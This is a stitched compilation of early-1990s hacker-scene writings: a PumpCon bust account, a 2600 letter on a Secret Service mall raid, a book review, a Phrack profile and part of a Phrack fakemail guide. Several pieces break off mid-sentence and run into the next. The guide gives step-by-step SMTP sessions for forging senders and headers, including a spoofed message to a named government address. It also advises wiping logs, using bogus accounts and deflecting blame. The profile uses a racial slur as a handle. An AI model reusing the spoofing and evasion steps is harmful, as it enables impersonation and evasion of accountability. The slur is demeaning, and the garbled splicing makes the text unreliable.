black.ox.ac.uk /src/npasswd.enhanced.shar.Z

The original is there as /src/npasswd jpl.tar.Z

________________________________________

PumpCon Hosed November 5, 1992

~~~~~~~~~~~~~

by Phil "The Outlander"

PumpCon '92 was held this past weekend at the Westchester Courtyard by Marriott, and was shut down in spades.

It began like any typical hacker/phreak/cyberpunk's convention, with lots of beer, lots of shooting the bull, and lots of people from around the country, except that the guests got sloppy, stupid, noisy, and overconfident.

The manager of the hotel, accompanied by three town of Greenborough police officers, entered the room at approximately 10pm on Saturday. The manager had received complaints about noise and vandalism from some of the hotel's other guests. She claims to have tried to call the room several times before physically entering, but the room's telephone line was consistently busy.

The police officers noticed the multiple open (and empty) beer bottles scattered around the room and were gearing up to make some arrests for "Unlawful Possession of Alcoholic Beverages by Underage Persons" when one of the policemen spotted an Amiga, connected to a US Robotics modem, which was in turn connected to the suite's phone line. The "stolen" calling card was all the probable cause necessary to upgrade the charges to "Wire Fraud."

Everyone in the suite was detained for questioning. Standard investigation procedure was followed. The entire case was handled by local authorities, including the Westchester County DA. To my knowledge, the FBI and Bell Security people were not called in (or if they were, it was after I was released).

Each detainee was body‑searched for diskettes, hand‑written notes about credit and computer services, autodialers, and the like. The suite where PumpCon had taken place was also searched. Hardware seized includes at least two Amigas with monitors, modems, and diskettes, and one AT&T dumb terminal with modem.

Each of the detainees was interviewed in turn. Just before dawn on the morning of Sunday, November 1st, the police began making the actual arrests. Four to eight people were arrested and taken to the local jail.

The rest of the detainees were released with no charges or arrests filed.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

And now on a personal note to anybody who is new to the world of hacking:

Many of the attendees to PumpCon '92 were just like me. I was aware of the possible consequences of an arrest, but the full enormity of the possibilities hadn't sunk in. Getting busted can really ruin your life, and I am unwilling to sacrifice my liberty and get a criminal record just for the thrill of hanging out with the "eleet."

I was personally terrified out of my skull and went right off any dreams I had of being some kind of big‑time cyberpunk. The law had us outgunned ten to one (literally and figuratively) and I as I write this on Monday night I still haven't stopped shaking.

To anyone who hasn't considered what it would be like to get seriously busted, I want you to try and picture the scene that night, and comes the dawn, a lot of the people you were partying with just twelve hours earlier are carted away in handcuffs to face an uncertain future.

The attendees of PumpCon, including myself and with few exceptions, were utter and complete fools. They thought that they could act like jerks, bust up the hotel, and phreak off the room lines without bringing down the heat like a jet of molten lava. They thought they were too smart to get caught. They thought that they were immortal. They thought wrong, and now some of them are going to pay for it.

I got lucky. I was released, and I learned some invaluable lessons.

I can't stress enough to anybody out there who is treating the state of the Hack like it's a big game: You aren't going to get your marbles back when the night is over. The stakes are real. Ask yourself if you can deal with the possibilities of ruining your life before it's even begun.

Everyone must make their own decision. You are only given this one chance to bail out now; any others that come along are blessings from on high.

If you do decide to live in the computer underground, I can only offer this advice: Cover your a$$. Do not act foolishly. Do not associate with fools. Remember that you are not immortal, and that ultimately there are no safety nets. Intelligence can't always save you. Do not, in your arrogance, believe that it will. My time as a cyberpunk has been short and undistinguished but it has taught me this much.

I'm not saying that you should not become a hacker. If that is truly your wish, then I'm not one to stop you. I'm just warning you that when the fall comes, it can come hard, and there's nobody who can help you when you've gone far enough past the line.

Phil "The Outlander"

________________________________________

2600 Meeting Disrupted by Law Enforcement December 12, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Emmanuel Goldstein (Editor of 2600 Magazine)

The following is a letter I wrote to the Washington Post in response to their article about the incidents at the Pentagon City Mall on November 6, entitled, "Hackers Allege Harassment at Mall" (dated November 13, page A1). Their article failed to focus on the startling revelation of federal government involvement and the ominous implications of such an action. The article also does little to lessen the near hysteria that is pumped into the general public every time the word "hacker" is mentioned.

Let us take a good look at what has been confirmed so far. A group of computer hackers gathered at a local mall as they do once a month. Similar meetings have been going on in other cities for years without incident. This gathering was not for the purposes of causing trouble and nobody has accused the hackers of doing anything wrong. Rather, the gathering was simply a place to meet and socialize. This is what people seem to do in food courts and it was the hackers' intention to do nothing more.

When mall security personnel surrounded the group and demanded that they all submit to a search, it became very clear that something bizarre was happening. Those who resisted were threatened with arrest. Everyone's names were written down, everyone's bags gone through. One person attempted to write down the badge numbers of the people doing this. The list was snatched out of his hand and ripped to pieces. Another hacker attempted to catch the episode on film. He was apprehended and the film was ripped from his camera. School books, notepads, and personal property were seized. Much of it has still not been returned. The group was held for close to an hour and then told to stay out of the mall or be arrested.

This kind of treatment is enough to shock most people, particularly when coupled with the overwhelming evidence and eyewitness accounts confirming no unusual or disruptive behavior on the part of the group. It is against everything that our society stands for to subject people to random searches and official intimidation, simply because of their interests, lifestyles, or the way they look. This occurrence alone would warrant condemnation of a blatant abuse of power. But the story doesn't end there.

The harassment of the hackers by the mall police was only the most obvious element. Where the most attention should be focused at this point is on the United States Secret Service which, according to Al Johnson, head of mall security, "ramrodded" the whole thing. Other media sources, such as the industry newsletter Communications Daily, were told by Johnson that the Secret Service was all over the mall that day and that they had, in effect, ordered the harassment. Arlington police confirm that the Secret Service was at the mall that day.

It is understood that the Secret Service, as a branch of the Treasury Department, investigates credit card fraud. Credit card fraud, in turn, can be accomplished through computer crime. Some computer hackers could conceivably use their talents to accomplish computer crime. Thus we arrive at the current Secret Service policy, which appears to treat everybody in the hacker world as if they were a proven counterfeiter. This feeling is grounded in misperceptions and an apprehension that borders on panic. Not helping the situation any is the ever‑present generation gap ‑‑ most hackers are young and most government officials are not.

Apart from being disturbed by the gross generalizations that comprise their policy, it seems a tremendous waste of resources to use our Secret Service to spy on public gatherings in shopping malls. It seems certain to be a violation of our rights to allow them to disrupt these meetings and intimidate the participants, albeit indirectly. Like any other governmental agency, it is expected that the Secret Service follow the rules and not violate the constitutional rights of citizens.

If such actions are not publicly condemned, we will in effect be granting a license for their continuance and expansion. The incident above sounds like something from the darkest days of the Soviet Union when human rights activists were intimidated by government agents and their subordinates. True, these are technology enthusiasts, not activists. But who they are is not the issue. We cannot permit governmental abuse of any person or group simply because they may be controversial.

Why do hackers evoke such controversy? Their mere presence is an inconvenience to those who want so desperately to believe the emperor is wearing clothes. Hackers have a tendency of pointing out the obvious inadequacies of the computer systems we entrust with such a large and growing part of our lives. Many people don't want to be told how flimsily these various systems are held together and how so much personal data is readily available to so many. Because hackers manage to demonstrate how simple it is to get and manipulate this information, they are held fully responsible for the security holes themselves.

But, contrary to most media perceptions, hackers have very little interest in looking at other people's personal files. Ironically, they tend to value privacy more than the rest of us because they know firsthand how vulnerable it is. Over the years, hackers have gone to the media to expose weaknesses in our credit reporting agencies, the grading system for New York City public schools, military computer systems, voice mail systems, and even commonly used push button locks that give a false sense of security. Not one of these examples resulted in significant media attention and, consequently, adequate security was either delayed or not implemented at all.

Conversely, whenever the government chooses to prosecute a hacker, most media attention focuses on what the hacker "could have done" had he been malicious. This reinforces the inaccurate depiction of hackers as the major threat to our privacy and completely ignores the failure of the system itself.

By coming out publicly and meeting with other hackers and non‑hackers in an open atmosphere, we have dispelled many of the myths and helped foster an environment conducive to learning. But the message we received at the Pentagon City Mall tells us to hide, be secretive, and not trust anybody. Perhaps that's how the Secret Service wants hackers to behave. But we are not criminals and we refuse to act as such simply because we are perceived that way by uninformed bureaucrats.

Regardless of our individual outlooks on the hacker issue, we should be outraged and extremely frightened to see the Secret Service act as they did. Whether or not we believe that hackers are decent people, we must agree that they are entitled to the same constitutional freedoms the rest of us take for granted. Any less is tantamount to a very dangerous and ill‑advised precedent.

Emmanuel Goldstein

Editor, 2600 Magazine ‑‑ The Hacker Quarterly (516)751‑2600

(NOTE: 2600 Magazine coordinates monthly hacker meetings throughout the country.)

________________________________________

Two New Hardcovers November 24, 1992

~~~~~~~~~~~~~~~~~~

by Alan J. Rothman (New York Law Journal)(Page 5)

During the opening sequence of the classic English television series "The Prisoner," the lead character known only as Number 6 (brilliantly played by Patrick McGoohan) is abducted and taken to a secret location called "The Village." He desperately pleads with his captors "What do you want?" Their grim response is "Information." Through 17 thrilling episodes, his kidnappers staged elaborate high‑tech ruses to find out why he quit work as a spy.

Had this story been set in the 1990s rather than the 1960s, all The Village's proprietors would have needed was a PC and a modem. They could have assembled a composite of Number 6's movements by cross‑referencing records from any of the commercial data bases containing the details of nearly everyone's daily activities. Then with a bit of ingenuity, they could have tried to steal even more information by hacking into other restricted data systems.

No longer fiction, but common fact, the billowing growth in the computers and telecommunications networks everywhere is generating urgent legal issues regarding the content, usage and ownership of the data coursing through them. Dilemmas have also surfaced concerning the responsibilities of the businesses which gather, sift and repackage such information. Indeed, a critical juncture has now been reached where the basic constitutional rights of privacy and expression are colliding with the ever‑expanding reach of modern technology.

Two well‑crafted books have recently been published which together frame the spectrum of relevant individual rights issues in these areas with uncanny symmetry. Fortunately, neither degenerates into a "computers are bad" jeremiad. Rather, they portray an appropriate balance between the virtues of computerization and disturbing cases of technological misuse for wrongful commercial and governmental ends.

Presenting array of new forms of electronic encroachment on personal privacy is Jeffrey Rothfeder's alarming new book, "Privacy for Sale: How Computerization Has Made Everyone's Private Life an Open Secret" (Simon & Schuster, 224 pages, $22). He offers the chilling thesis that anyone can find out nearly anything regarding anybody and there is nowhere left to hide. He convincingly states his case in a concise and insightful exploration of the trends and abuses in the mass processing of personal data.

The fascinating mechanics of how and where information about virtually every aspect of our lives is gathered and then computerized are extensively described. The most productive fonts include medical records, credit histories, mortgage applications, subscription lists, phone records, driver's licenses and insurance forms. Yet notwithstanding the legitimate commercial and regulatory reasons for providing these facts, the author carefully documents another more deeply hidden and troubling consequence of volunteering such information: It is constantly resold, combined with other sources and reused without your knowledge or permission for purposes entirely different from those you first intended.

Mr. Rothfeder alleges the most perilous result of these activities is the growing and highly organized sales, integration and cross‑matching of databases. Businesses and government entities now have sophisticated software to generate complex demographic profiles about individuals, populations and geographic areas. In turn, these computer‑generated syntheses are increasingly used for invasive and discriminatory purposes.

Numerous examples of such misuse are cited, ranging from slightly annoying to purely horrifying. The astonishing breadth of this roster includes the sale of driver's license information with height weight specifications to clothes marketers for tall men and thin women, purchases of credit histories and workmen's compensation claims reports by prospective employers who believe this material is indicative of a job applicant's character, and the creation of "propensity files" by federal agencies to identify people who have not committed any offense but might likely be criminals.

Two additional problems pervade the trafficking of intimate information. First, there is little or no federal legislation to effectively protect people from certain problems presented in the book. For example, the release of medical records thought to be "confidential" is virtually unprotected.

Second, it can be extremely difficult to have false entries corrected before they have a ripple effect on your other data. Beyond the common tales of frustration at clearing up a faulty credit report, Mr. Rothfeder relates the case of a man denied any health insurance because his medical records contained an erroneous report he was HIV positive.

JOURNEY IN CYBERSPACE

Turning to a much more accurate account, author Bruce Sterling takes readers into the ethereal realm of "cyberspace" where computers, networks, and electronic bulletin boards systems (BBS) are linked together by phone. In his first non‑fiction work, "The Hacker Crackdown: Law and Disorder on the Electronic Frontier" (Bantam, 328 pages, $23), he chronicles the U.S. government's highly visible efforts in 1990 to prosecute "hackers" it suspected of committing crimes by PC and modem. However, Mr. Sterling distinguishes this term as being more about active computer enthusiasts, most of whom have never committed any wrongdoing. The writer's other credits include some highly regarded "cyberpunk" science fiction, where computer technology is central to the plots and characters.

The "crackdown" detailed by the author began with the crash of AT&T's longdistance phone system on January 15, 1990. Although it has never been proven that hackers were responsible, this event served as the final catalyst to spur federal law enforcement agencies into concerted action against a suspected underground of computer criminals. A variety of counter‑operations were executed. Most notable was Operation Sundevil the following May when agents around the country seized 42 computer systems, 23,000 diskettes, and halted 25 BBS's where the government believed hackers were exchanging tips of the trade.

Some of the government's resulting prosecutions through their nationwide efforts were moderately successful. However, the book's dramatic centerpiece is the trial of Craig Neidorf (a.k.a. Knight Lightning). Mr. Neidorf was a contributor to Phrack, an electronic magazine catering to hackers, available on various BBS's.

In January 1989, another hacker named "Prophet" transmitted a document he pilfered from BellSouth's computers regarding the 911 emergency system to Neidorf. Together they edited the text, which Neidorf then published in Phrack. In July 1990, he was placed on trial for federal charges of entering a fraudulent scheme with Prophet to steal this document. The government alleged it was worth $79,499 and that its publication threatened emergency operations. To the prosecutor's dismay, the case was dropped when the defense proved the same material was publicly available for only $13.

With insight and style, Mr. Sterling uses this and other events to cast intriguing new spins on applicable civil liberties issues.

Are the constitutional guarantees of freedom of expression and assembly fully extended to BBS dialogs and gatherings? What degree of privacy can be expected for personal data on systems which may be subject to surreptitious entry? Are hackers really breaking any laws when merely exploring new systems? Is posting a message or document on a BBS considered a "publication"? Should all BBS's be monitored just because of their potential for illegal activity? What are the responsibilities of BBS operators for the contents of, and access to, their systems?

The efforts of Mitchell Kapor, the co‑developer of Lotus 123 and now chairman of ONtechnology, are depicted as a direct response to such issues raised by the crackdown. Mr. Kapor assembled a prominent group of fellow computer professionals to establish the Electronic Frontier Foundation (EFF), dedicated to education and lobbying for free speech and expression in electronic media. As well, EFF has provided support to Craig Neidorf and others they consider wrongly charged with computer crime.

Weighty legal matters aside, the author also embellishes his story with some colorful hacker lore. These denizens of cyberspace are mostly young men in their late teens or early twenties, often fueled by junk food and propelled by macho. Perhaps their most amusing trait is the monikers they adopt ‑Bloodaxe, Shadowhawk, and of course, Phiber Optik.

Someone else, a non‑hacker involuntary given the pseudonym "Number 6," knew his every act was continually being monitored and recorded against his will. As a manifestation of resistance to this relentless surveillance, he often bid farewell to other citizens of the Village with a sarcastic "Be seeing you." Today, the offerings of authors Rothfeder and Sterling provide a resounding "And you" as a form of rejoinder (often uttered by The Village's citizens as well), to publicize the ironic diversity threats wrought by information technology.

Number 6 cleverly managed to escape his fictional captivity in The Village during the final (and mind‑boggling) episode of The Prisoner. However, based on the compelling evidence presented in these two books, the protection of individual rights in the reality of today's evolving "global village" of

Phrack Pro-Phile on Supernigger

==Phrack Inc.==

Volume Four, Issue Forty‑One, File 3 of 13

==Phrack Pro‑Phile==

Created by Taran King (1986)

________________________________________

Welcome to Phrack Pro‑Phile. Phrack Pro‑Phile is created to bring info to you, the users, about old or highly important/controversial people. This month, we bring to you certainly one of the most controversial people (and handles) to ever emerge in the computer underground...

Supernigger

~~~~~~

________________________________________

Personal

~~~~~~~~

Handle: Supernigger

Call him: SN

Date of Birth: Years ago

Age: Getting along in the years.

Height: Medium

Weight: Medium

Computers owned: Commodore Vic‑20, C64, Amiga, 386 Compatible

How did this handle originate? Back in 1985, I had blueboxed to a bridge. Someone on there, for some reason, decided that he didn't like me, and shouted, "Get off, nigger!" He then proceeded to knock me off with a 2600 Hz tone. I immediately called back with something "un‑2600 hz‑able" and, when he shouted, "Get off nigger!" and blew 2600 hz, I then said, "I'm SUPERnigger, you can't knock me off, I've got the POWER!!" Fun, eh?

How I Got Started

~~~~~~~~~~~~~~~~~

Back in '82 or '83, I got a wonderful computer called a Commodore Vic‑20. With that, I wrote a few irrelevant programs and played "Gorf!" a lot. Then, a friend suggested that I get a Commodore C‑64 and disk drive for all the RAD WhErEz! it had.

Needless to say, I was not disappointed. Then a friend showed me a 5‑digit number you could put in after calling an access number, and it would put a call through for you! Imagine that! This, I thought, was the key to UNLIMITED WARES!

Then, the new ware scene became tiresome and boring REAL quick. I had them all. New ones. Old ones. Middle‑aged ones. I had wares coming out of my ass. Just when I was about to drop out of the scene, I saw a number posted on a board for InterCHAT (201), a multi‑line chat system.

That's where the cavalcade of fun and interesting endeavors began. That's where I met Sharp Remob, Lord_foul (DP), Dark Wanderer and other members of DPAK.

Speaking of DPAK, the group was created when we found a glitch in the MCI access # that allowed any 14‑digit code to work. We then made up the joke, "Today at 2:00 PM, DPAK Agents cornered an MCI official and said, 'You WILL give these people free calls!'" and proceeded to tell people about the glitch ("DPAK" came from Mad Hacker 312, who, when asked about obtaining non‑published numbers, said, "Oh, you'd have to be a DPAK Agent to get that.").

After that, DPAK was tracing people before Caller ID came out, finding and creating bridges, setting up an 800 # for InterCHAT (actually 2 if you were quick enough to catch the second one), putting out Sharp Remob's Social Engineering file, and other things that I had better not mention (I would go on, but I think I might frighten you.).

I would have to say that I feel negatively toward "elite posers," people who claim to know things with the sole purpose of trying to seem "cool." These are the people you see boasting about how long they have been around (which is irrelevant), spurting out random acronyms when they have no idea how they are actually used, and trying to make something complicated and mysterious out of something mundane and simple. For example: "Hey dude, watch out, I may be listening in on your line right now with a DAMT," or "Oh, I'll just use the DRT trunk multiplexor to do a Random Interphase‑seizure of the tandemized trunk." (Barf!)

Also, I think this government crackdown really sucks. What sucks is the fact that the government is going after big NAMES instead of big ‑CRIMES‑. Rather than stopping crimes, they just want to "show who's boss." A lot of innocent lives are being ruined. In fact, after this issue of Phrack comes out, I plan to lay VERY low because they will probably want to get me now that my handle was in a phreak/hack publication.

Interests

~~~~~~~~~

Women: Fast

Cars: Fast (VWs)

Food: Fast

Music: All kinds (Rap, Rock, Metal, you name it) Favorite performers: 2 Live Crew

Favorite author: Lord Digital (the father of ELITE!ness) Favorite Book: Nat!onal Enl!ghtener

Most Memorable Experiences

~~~~~~~~~~~~~~~~~~~~~~~~~~

"It works! It works!!" ‑‑ when the 800 # for InterCHAT actually worked. If you called it, you remember. That took a lot of work...

Also, at one point in time, every chat system in New Jersey was forwarded to InterCHAT.. That was truly hilarious. I strongly suggest, at this point, that everyone refrain from attempting these things. The consequences are a bit more serious now. But if you must, be VERY very careful.

...And, I would like to take this opportunity to clear up the "Free World II Incident" and other vague and unclear statements chronicled in Phrack 28. First of all, I ‑DID NOT‑ crash Black Ice BBS. In fact, some hick from Texas already stated to me that he wrote my name on the BBS when it was crashed. The same hick tends to lie and spread rumors a lot, so I don't actually know if it was him that wrote my name. Suffice to say that I didn't crash it.

Secondly, and most important, Free World II BBS was forwarded to InterCHAT because Major Havoc was a complete and total ASSHOLE.

I called his system and applied for access. When I tried to get back on, I found that my application had been deleted without so much as a notification, so I thought that the BBS hadn't saved it correctly and applied again. I found the BBS hadn't saved it correctly a second time, and when I tried to fill out the application once more, Major Havoc broke in and typed things like "Get the fuck off here" and "Hang the fuck up." I typed "Fine, have it your way" and proceeded to forward his BBS # to InterCHAT. You can't just treat people like that and expect nothing to happen.

The opening message on InterCHAT said: "Until Major Havoc learns the meaning of the word TACT (dealing with people in a non‑offensive manner), his BBS has been put to better use."

(I had called the BBS in the first place to try to clear up wild rumors that The Blade had said were being tossed about on there).

I hope this has cleared things up.

Some People To Mention

~~~~~~~~~~~~~~~~~~~~~~

Sharp Remob : He showed me the wonders of Social Engineering. He is making the big dollars now.

Lord_foul : I never realized how many people he was in contact with. Some pretty heavy hitters. He never let on how much he knew.

Applehead : The best DJ in the phreak/hack world. Truly, in mixing records, no one is his equal. Seems to be able to mesmerize phone company employees into doing his bidding as well. Could these two things be related?

Meat Puppet : "Money for nuthin, EVERYTHING for free." Why anyone would want 800 watts in their car I will never know.

Lung C00kiez : He had the best conference ideas, like Want‑Ad Fun and Operator Frenzy.

*DETH*‑2‑*J00Z* : So much for political correctness. First person I know to theorize how to trace people before Caller ID came out.

Dark Wanderer : Works for Sun Microsystems now. One of the few hackers I know that has a technical computer‑oriented career.

Krak Dealer : Takes consciousness‑altering to the level of an art form.

Squashed Pumpkin : The enforcer.

DeeDee : The only cool bridge chick.

Dr. Mike : Cool guy when he's not threatening his girlfriend with a knife.

Gatsby : Gets the award for quick learner.

orpheus : One of the true devotees of InterCHAT, and one of the few people I know who is actually interested in HP‑3000.

The whole InterCHAT crowd... Made modeming fun.

I should also mention a group of NYC individuals at this time. I would mention their names, but certain legal situations preclude that. They showed me what someone can REALLY do with an in‑depth understanding of many systems.

Suffice to say that they are the creme de la creme, probably the only group up to par with DPAK.

Oh, and I cannot, I MUST NOT forget to mention The Blade, who is truly a legend in his own mind.

The Future

~~~~~~~~~~

I see the future for hacking/phreaking as pretty bleak. Big Brother is watching. System Administrators are finally realizing that it is better to make your system impenetrable than to prosecute kids (I wish the government would realize this). If you combine these two things, there is not much to look forward to.

In Closing...

~~~~~~~~~~~~~

As for the standard Pro‑Phile question (are most of the phreaks and hackers that I've met computer geeks?), I have not met any phreakers or hackers, so I can't say if they are geeks or not. From phone conversations,

Network Miscellany

==Phrack Inc.==

Volume Four, Issue Forty‑One, File 4 of 13

Network Miscellany

****************************

< The POWER of Electronic Mail >

****************************

Compiled from Internet Sources

by The Racketeer

of The Hellfire Club

Network Miscellany created by Taran King

First of all, this guide is more than using fakemail. It literally explains the interfaces used with SMTP in detail enough that you should gain a stronger awareness of what is going on across the multitude of networks which make up the worldwide e‑mail connections. It also contains my usual crude remarks and grim hacker humor (assuming it hasn't again been edited out, but I'm somewhat proud of the fact that Phrack heavily edited my "language" in last issue's article. Oh well.).

There are two objectives in this file: first, I will attempt to show that by using fakemail and SMTP, you can cause an amazing number of useful, hacker related stunts; second, I shall attempt to be the first hacker to ever send a piece of electronic mail completely around the world, ushering in a new age of computerdom!

I suggest that, unless you don't want everyone lynching you, don't try to fuck up anything that can't be repaired offhand. I've experimented with fakemail beyond this article and the results were both impressive and disastrous. Therefore, let's examine risks first, and then go onto the good stuff. Basic philosophy ‑‑ use your brain if you've got one.

RISKS:

Getting caught doing this can be labeled as computer vandalism; it may violate trespassing laws; it probably violates hundreds of NFS, Bitnet and private company guidelines and ethics policies; and finally, it will no doubt piss someone off to the point of intended revenge.

Networks have fairly good tracing abilities. If you are logged, your host may be disconnected due to disciplinary referral by network authorities (I don't think this has happened yet). Your account will almost definitely be taken away, and if you are a member of the source or target computer's company/organization, you can expect to face some sort of political shit that could result in suspension, expulsion, firing, or otherwise getting the short end of the stick for awhile.

Finally, if the government catches you attempting to vandalize another computer system, you will probably get some sort of heavy fine, community service, or both.

Odds of any of this happening if you are smart: < 1%.

PRECAUTIONS SUGGESTED:

If you have a bogus computer account (standard issue hacker necessity) then for crissake use that. Don't let "them" know who really is hacking around. (Point of clarification, I refer to "them" an awful lot in RL and in philes. "They" are the boneheadded "do‑gooders" who try to blame their own lack of productivity or creativity on your committing of pseudo‑crimes with a computer. FBI, SS, administrators, accountants, SPA "Don't Copy that Floppy" fucks, religious quacks, stupid rednecks, right wing conservative Republican activists, pigs, NSA, politicians who still THINK they can control us, city officials, judges, lame jurors that think a "hacker" only gets slap‑in‑the‑wrist punishments, lobbyists who want to blame their own failed software on kids, bankers, investors, and probably every last appalled person in Stifino's Italian Restaurant when the Colorado 2600 meeting was held there last month. Enough of the paranoid Illuminati shit, back to the phile.)

Make sure that you delete history files, logs, etc. if you have access to them. Try using computers that don't keep logs. Check /usr/adm, /etc/logs to see what logs are kept.

If you can avoid using your local host (since you value network connections in general), do so. It can avert suspicion that your host contains "hackers."

IF YOU EVER ARE CONFRONTED:

"They must have broken into that account from some other site!"

"Hackers? Around here? I never check 'who' when I log in."

"They could have been super‑user ‑‑ keep an eye out to see if the scum comes back."

"Come on, they are probably making a big deal out of nothing. What could be in e‑mail that would be so bad?"

"Just delete the account and the culprit will be in your office tomorrow morning." (Of course, you used a bogus account.)

PART ONE: ELECTRONIC MAIL

Basically, electronic mail has become the new medium of choice for delivering thoughts in a hurry. It is faster than the post office, cheaper than the post office, doesn't take vacations all the time like the post office, and is completely free so it doesn't have unions.

Of course, you know all that and would rather spend this time making damn sure you know what SMTP is.

To my knowledge, a completely accurate SMTP set of protocols hasn't been published in any hacker journal. The original (at least, the first I've seen) was published in the Legion of Doom Technical Journals and covered the minimum SMTP steps necessary for the program "sendmail," found in a typical Unix software package.

When you connect a raw socket to a remote SMTP compatible host, your computer is expected to give a set of commands which will result in having the sender, receiver, and message being transferred. However, unlike people who prefer the speed of compression and security of raw integer data, the folks at DARPA decided that SMTP would be pretty close to English.

If you are on the Internet, and you wanted to connect to the SMTP server, type:

telnet <hostname> 25

Port 25 is the standard port for SMTP. I doubt it would be too cool to change this, since many mail servers connect to the target hosts directly.

[Editor's Note: All mail and SMTP commands have been offset by a ">" at the beginning of each line in order not to confuse Internet mailers when sending this article through e‑mail.]

When you connect, you will get a small hostname identifier for whatever SMTP server revision you've got.

220 huggies.colorado.edu Sendmail 2.2/2.5 8/01/88 ready at Tue, 25 Aug 91 03:14:55 edt

Now that you are connected, the computer is waiting for commands. First of all, you are expected to explain which computer you are calling in from. This is done with the HELO <host> command. This can be anything at all, but if you fail to give the exact host that you are connecting from, it causes the following line to appear on the e‑mail message the recipient gets from you:

> Apparently‑to: The Racketeer <rack@lycaeum.hfc.com>

Instead of the classic:

> To: The Racketeer <rack@lycaeum.hfc.com>

This is the secret to great fakemail ‑‑ the ability to avoid the "apparently‑to" flag. Although it is subtle, it is a pain to avoid. In fact, in some places, there are so many "protections" to SMTP that every outside e‑mail is marked with "Apparently‑to." Hey, their problem.

So, go ahead and type the HELO command:

> HELO LYCAEUM.HFC.COM

The computer replies:

250 huggies.colorado.edu Hello LYCAEUM.HFC.COM, pleased to meet you

Oh, a warm reception. Older sendmail software explains with the HELP command that the computer doesn't care about HELO commands. You can check it upon login with the command "HELP HELO."

Now what you will need to do is tell the computer who is supposed to get the letter. From this point, there are all sorts of possibilities. First of all, the format for the recipient would be:

> RCPT TO: <name@host>

And *NOTE*, the "<" and ">" symbols should be present! Some computers, especially sticklers like Prime, won't even accept the letters unless they adhere specifically to the protocol! Now, if you give a local address name, such as:

> RCPT TO: <smith>

...then it will treat the mail as if it were sent locally, even though it was sent through the Internet. Giving a computer its own host name is valid, although there is a chance that it will claim that the machine you are calling from had something to do with it.

> RCPT TO: <smith@thishost>

...will check to see if there is a "smith" at this particular computer. If the computer finds "smith," then it will tell you there is no problem. If you decide to use this computer as a forwarding host (between two other points), you can type:

> RCPT TO: <smith@someotherhost>

This will cause the mail to be forwarded to someotherhost's SMTP port and the letter will no longer be a problem for you. I'll be using this trick to send my letter around the world.

Now, after you have given the name of the person who is to receive the letter, you have to tell the computer who is sending it.

> MAIL FROM: <rack@lycaeum.hfc.com> ; Really from

> MAIL FROM: <rack> ; Localhost

> MAIL FROM: <rack@osi.mil> ; Fake ‑‑ "3rd party host" > MAIL FROM: <lycaeum.hfc.com|rack> ; UUCP Path

Essentially, if you claim the letter is from a "3rd party," then the other machine will accept it due to UUCP style routing. This will be explained later on.

The next step is actually entering the e‑mail message. The first few lines of each message consists of the message title, X‑Messages, headers, Forwarding Lines, etc. These are completely up to the individual mail program, but a few simple standards will be printed later, but first let's run through the step‑by‑step way to send fakemail. You type anything that isn't preceded by a number.

220 hal.gnu.ai.mit.edu Sendmail AIX 3.2/UCB 5.64/4.0 ready at Tue, 21 Jul 1992 22:15:03 ‑0400

> helo lycaeum.hfc.com

250 hal.gnu.ai.mit.edu Hello lycaeum.hfc.com, pleased to meet you > mail from: <rack@lycaeum.hfc.com>

250 <rack@lycaeum.hfc.com>... Sender ok

> rcpt to: <phrack@gnu.ai.mit.edu>

250 <phrack@gnu.ai.mit.edu>... Recipient ok

> data

354 Enter mail, end with "." on a line by itself

> Yo, C.D. ‑‑ mind letting me use this account?

> .

250 Ok

> quit

Now, here are a few more advanced ways of using sendmail. First of all, there is the VRFY command. You can use this for two basic things: checking up on a single user or checking up on a list of users. Anyone with basic knowledge of ANY of the major computer networks knows that there are mailing lists which allow several people to share mail. You can use the VRFY command to view every member on the entire list.

> vrfy phrack

250 Phrack Classic <phrack>

Or, to see everyone on a mailing list:

> vrfy phrack‑staff‑list

250 Knight Lightning <kl@stormking.com>

250 Dispater <dispater@stormking.com>

Note ‑ this isn't the same thing as a LISTSERV ‑‑ like the one that distributes Phrack. LISTSERVs themselves are quite powerful tools because they allow people to sign on and off of lists without human moderation. Alias lists are a serious problem to moderate effectively.

This can be useful to just check to see if an account exists. It can be helpful if you suspect a machine has a hacked finger daemon or something to hide the user's identity. Getting a list of users from mailing lists doesn't have a great deal of uses, but if you are trying very hard to learn someone's real identity, and you suspect they are signed up to a list, just check for all users from that particular host site and see if there are any matches.

Finally, there is one last section to e‑mail ‑‑ the actual message itself. In fact, this is the most important area to concentrate on in order to avoid the infamous "Apparently‑to:" line. Basically, the data consists of a few lines of title information and then the actual message follows.

There is a set of guidelines you must follow in order for the quotes to appear in correct order. You won't want to have a space separate your titles from your name, for example. Here is an example of a real e‑mail message:

> From: rack@lycaeum.hfc.com

> Received: by dockmaster.ncsc.mil (5.12/3.7) id AA10000; Thu, 6 Feb 92 > 12:00:00

> Message‑Id: <666.AA10000@dockmaster.ncsc.mil>

> To: RMorris@dockmaster.ncsc.mil

> Date: Thu, 06 Feb 92 12:00:00

> Title: *wave* Hello, No Such Agency dude!

>

> NIST sucks. Say "hi" to your kid for me from all of us at Phrack!

Likewise, if you try to create a message without an information line, your message would look something like this:

> From: rack@lycaeum.hfc.com

> Received: by dockmaster.ncsc.mil (5.12/3.7) id AA10000; Thu, 6 Feb 92 > 12:00:00 ‑0500

> Message‑Id: <666.AA10000@dockmaster.ncsc.mil>

> Date: Thu, 06 Feb 92 12:00:00

> Apparently‑to: RMorris@dockmaster.ncsc.mil

> NIST sucks. Say "hi" to your kid for me from all of us at Phrack!

Basically, this looks pretty obvious that it's fakemail, not because I altered the numbers necessarily, but because it doesn't have a title line, it doesn't have the "Date:" in the right place, and because the "Apparently‑to:" designation was on.

To create the "realistic" e‑mail, you would enter:

> helo lycaeum.hfc.com

> mail from: <rack@lycaeum.hfc.com>

> rcpt to: <RMorris@docmaster.ncsc.mil>

> data

> To: RMorris@dockmaster.ncsc.mil>

> Date: Thu, 06 Feb 92 12:00:00

> Title: *wave* Hello, No Such Agency dude!

>

> NIST sucks. Say "hi" to your kid for me from all of us at Phrack! > .

Notice that, even though you are in "data" mode, you are still giving commands to sendmail. All of the lines can (even if only partially) be altered through the data command. This is perfect for sending good fakemail. For example:

> helo lycaeum.hfc.com

> mail from: <dale@opus.tymnet.com>

> rcpt to: <listserv@brownvm.brown.edu>

> data

> Received: by lycaeum.hfc.com (5.12/3.7) id AA11891; Thu 6 Feb 92 12:00:00 > Message‑Id: <230.AA11891@lycaeum.hfc.com>

